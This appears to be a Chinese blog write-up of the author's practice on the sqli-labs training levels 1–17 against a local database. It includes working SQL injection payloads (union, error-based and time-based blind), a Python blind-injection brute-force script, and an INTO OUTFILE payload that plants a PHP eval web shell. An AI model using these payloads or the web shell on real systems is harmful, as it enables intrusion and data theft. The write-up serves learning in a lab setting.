less-1

虽然教程上说末尾加上--+,也说了这个+是为了代替一个空格,因为在url末尾加上的空格会被吃掉,所以,实际上也可以加上%20(空格的url编码),或者直接加上空格再外加一个#,总之空格存在就能让--发挥注释的功能,使得构造的sql语句顺利逃出来,所以根据这个道理,直接在末尾加上一个单引号将后面的单引号闭合的效果也是一样的,于是我开始爆,手爆真是太难了

1
?id=-1'union 1,2,(select group_concat(schema_name) from information_schema.schemata,select group_concat(table_name) from information_schema.tables where table_schema='muhua_io')-- #

为了确实体会sql注入的本质,我爆的是一个本地的库,另外一般来说需要先用order by爆出查询位数,因为union select的格式需要。

1
select group_concat(column_name) from information_schema.columns where table_name='liu_tbl'

到这里都还一切正常,select group_concat(liu_ling) from liu_tbl,就报错了,这里报错原因显示是security.liu_tbl这个表不存在,我尝试了好几分钟才发现了问题所在,一开始我通过联合查询union select 1,2,database()得到的当前所在的库就是security,也就是说当我没有加上前缀说明查询的表所在的库时,它是默认在当前库下去查询该表,所以正确的sql注入语句应该是select group_concat(liu_ling) from muhua_io.liu_tbl,于是就得到了表里的数据。


less-2

加上单引号后报错了,'' LIMIT 0,1',不是很理解,于是对比less-1的报错'''' LIMIT 0,1',也不是很理解
在多次尝试不同情况的报错后:
输入1':
less1=>''1'' LIMIT 0,1'
less2=>'' LIMIT 0,1'
输入'1:
less1=>'1' LIMIT 0,1'
less2=>''1 LIMIT 0,1'
找到共同点LIMIT 0,1以及两端的单引号,剥离掉共同点那么就能看出,less1中输入的内容会被单引号括起来再拿到语句中,而less2则没有被任何东西括起来,也就是说不需要考虑单引号闭合的问题,直接将sql语句接在-1后面即可,当然也要加上空格,该处为字符型注入,例如输入1abc,会将1abc作为一个整体去查询,为了避免union被作为-1的一部分拿去查询,-1后面的空格是必要的,之后就都一样了。


less-3

根据上一题的经验,我很容易地通过报错了解到输入的内容不仅被单引号括起来了,还被括号括起来了,所以想要闭合前面部分就必须加上单引号和一个括号,然后再加上sql语句,最后要去掉后面多出来的单引号和括号,就只能使用--+了,结束。


less-4

加上单引号,没有报错回显,前面加上1,正常显示,于是我再后面加上了各种方式,最后才看解析才想起还有双引号,我是脑残,总之加上双引号立刻就报错了,根据报错内容得出是双引号和括号,啊,就这样吧。


(2021.4.18)↓

less-5

尝试传值1’,根据报错得到是单引号闭合,于是查字段,毫无疑问是3,然后联合查询,当然不行,因为正常回显就是什么信息都没有,因此终于用上了报错注入(之前打算总结注入方法,结果后面因为缺少实际环境实验而卡的死死的,想想还是老老实实先把靶场打了再说吧)
于是,我开始首先使用我之前没正确使用出来的updatexml报错,也就是在闭合
and updatexml(1,concat('~',database(),'~'),3)
终于成功打出了正确效果,然后尝试
and updatexml(1,concat('~',(select group_concat(schema_name)from information_schema.schemata),'~'),3)
结果只得到一部分,查询之后得到updatexml和extractvalue函数都是32位查询,但联想到在之前做的题[极客大挑战 2019]HardSQL学到的知识,此时可以结合其他函数截取字符串

1
2
3
4
5
字符串截取函数:
mid(string,start[,length])
right/left(string,length)
substr(string,start,length)
substring(string,start,length)

ok,后面都一样,老规矩,把我的QQ号爆出来了。。。
?id=1'and extractvalue(1,concat('~',(select database())))--+(extractvalue版)。


less-6

双引号闭合版报错注入。


less-7

经过一番努力终于弄好了,第一步是检测闭合方式,接连试了单引号双引号括号以及混合方式统统闭合不成功!一看教程,单引号加两个括号。。。总之努力过了,接下来按照教程说的要用上传文件的语法

1
2
3
into outfile "绝对路径(本地的反斜杠要写两个)"
```
然后写shell,但是写了之后写不进去,百度搜索是没有允许写入,要在命令行使用命令:

show variables like “secure_file_priv”;

1
2
3
4
5
6
7
就能查看`secure_file_priv`的值,如果是`null`就说明禁止写入,所以打开mysql安装目录,在my.ini这个配置文件中写入`secure_file_priv = ''`,然后保存,关闭,然后重启mysql,然后就可以在命令行mysql再次查看,这次那一栏变成空的了,然后在本地写入shell,`union select 1,2,"<?php @eval($_POST['shell']);?>" into outfile "绝对路径"`,然后就能用蚁剑连上了。  
***
(2021.4.19)
## __less-8__
因为无论如何也没有回显,所以需要时间盲注(暂时不会其他方式),输入`?id=1' and if(length(dadabase())>7,sleep(3),1)--+`,成功睡了3秒后,再尝试=8,此时也成功睡了3秒,得出结论当前数据库长度为8
接下来开始爆数据库名`?id=1' and if((ascii(substr(database(),1,1)=96),sleep(10),1)--+`,然后用集束炸弹对截取位置和ascii码进行爆破,对长度排序,得到八个长度比别的数据大10的数据,根据第一个数值排序,对第二个数值一一进行ascii转码就能得到当前数据库名,

payload:?id=1’ and if((select length(group_concat(schema_name)) from information_schema.schemata)=70,sleep(3),1)–+

1
2
![result](https://xiquanmuhua.github.io/images/62]VQ4VO7V~Q6I~_MP0IOI2.png)
利用bp爆破得到所以数据库总长度,判断完长度就能直接爆了,然后一边判断长度一边爆,用于表名可能出现的最多的是字母,所以就先爆出字母内容,然后对没爆出的位置对照下划线和逗号进行爆,也可以写好26字母加上下划线和逗号的字典直接把字段内容爆出来(大概=>确实)刚刚试了,可以直接用简单清单,将26字母加下划线和逗号写入,然后就能爆出

?id=1’and if((select substr(group_concat(table_name),(爆破位置),1)from information_schema.tables where table_schema=’muhua_io’)=’(对照内容)’,sleep(3),1)–+

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
,之后应该都是一样的了,缺点是如果爆破内容太长就会很难连缀爆出的内容,因为筛选长度内容排序后就无法对前面爆破内容排序了,需要人工排序,总之按老规矩爆出了我的QQ号
(附:试了下别人写的爆当前库的python脚本,并且合理修改,稳定爆出了所有内容,之后要好好学写脚本啊,像是高级版bp,但因为是bool型盲注,根据页面是否返回You are in来判断的,~~所以无法应用于9,10题~~(可以利用time库来判断))。
(2021.4.20)
时间盲注如果跑脚本,由于用到了延时函数,如果内容过长,跑的时间就比较长
```py
import string
import requests
import time

str=string.ascii_letters+'_'+string.digits
result=""
for j in range(1,30):
for n in str:
#print(n)

url="http://127.0.0.1/Less-8?id=1'and if((select substr(group_concat(schema_name),%d,1)from information_schema.schemata)='%s',sleep(3),1)--+" %(j,n)
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
#print(i)
print(result)
break
print(result)

less-9

第八关虽然无论如何都没有输入回显,但会有输入正常与否的区别,第九关无论怎么输入都是同一个界面,但通过sleep函数检测,是单引号闭合的,时间盲注,办法同上一关。


less-10

双引号版时间盲注。


less-11

和第一关同样的爆破方式,但注入的提交方式变成了post型,我尝试在Firefox的hackbar插件注入uname=1&passwd=1'union select 1,(select group_concat(schema_name)from information_schema.schemata)-- #&submit=Submit,但跑不起来,之后尝试passwd=1'也同样跑不起来,得出结论需要先将单引号转义,因为在hackbar框,单引号同样有将字符串括起来的特殊意义,总之是提交方式的知识点。
(2021.4.21)


less-12

双引号型11题,但这次hackbar插件连加上反引号都run不动了,于是用bp抓包几次,结果是某些符号被各种转义,总之hackbar输入特殊符号会很拐弯抹角,就算不想直接在输入框输入(格子太短),还是直接用bp抓包发送快一点吧。


less-13

单引号和括号闭合的,但正确注入没有回显,很容易就用报错注入解决了

1
payload:1')and updatexml(1,concat('~',(select group_concat(liu_ling)from muhua_io.liu_tbl),'~'),1)-- #

本来想就这样结束的,但突然想到除了buu那次Hardsql之后就没再用过extractvalue报错注入,这一用就发现了问题,因为我没爆出自己的QQ号,除此之外爆其他内容都很成功,于是我多次尝试,仔细查看后,我想到了concat函数的存在,concat函数的存在是为了连接字符串,而我要爆的字符串仅有一串数字,而我构建的payload是:1')or extractvalue(1,concat(1,(select group_concat(liu_name) from muhua_io.liu_tbl)))-- #这样的,concat的构造显然这是把一个1,连接到了一串数字前面,这是很合理的,因此没有报错,所以我断定问题就出在concat内部的1上,因此将其改为’‘,于是成功将我的QQ号爆出.
之后我再次查询extractvalue的报错原理(之前也查过,当然被我很没出息地忘记了),得到答案:extractvalue报错和updatexml报错的原理一致(虽然原本的用途不同),两个函数的第二个参数都必须符合xpath的格式,而
是不符合的,因此,就出现将连接在一起的一连串都报错的情况。


less-14

错误有回显,正确无回显,双引号闭合,报错注入。


less-15

无论如何都没有回显,但能判断是否正确,时间盲注或者布尔盲注(前提是我知道如何用python脚本传入post值,并且request可以得到的都是页面存在的html代码,应该可以通过图片名判断是否正确)。


less-16

双引号和括号闭合的15题


(2021.4.23)

less-17

爆不出,于是看源码,有过滤函数,首先传入的uname会先经过自定义的过滤函数,先通过str函数对输入的uname值截取15个字符长度,然后进入if语句,条件是get_magic_quotes_gpc(),这个函数是判断参数是否有添加斜杠,但这个函数并未添加参数,但经过查询得到原因,这个函数是默认检测传入的get,post,cookie,三种参数是否添加斜杠,判定为是之后就会进入if语句内部,利用stripslashes函数uname参数进行去除斜杠,然后使用ctype_digit函数检测是否为纯数字,如果不是则利用mysqli_real_escape_string函数uname进行转义将其变为合法sql语句,并用单引号括起来,但由于经过过滤函数处理的只有unamepasswd处还是可以注入的,但后面出现语句@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";,也就是说在被过滤后的uname需要成功匹配users表里的账户,也就是说,注入的前提是需要知道一个用户名。一般来说,实际环境(大概)会配注册功能,可以先注册一个账户再在登录处进行注入。


muhua

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

muhua WeChat Pay

WeChat Pay

muhua Alipay

Alipay

muhua PayPal

PayPal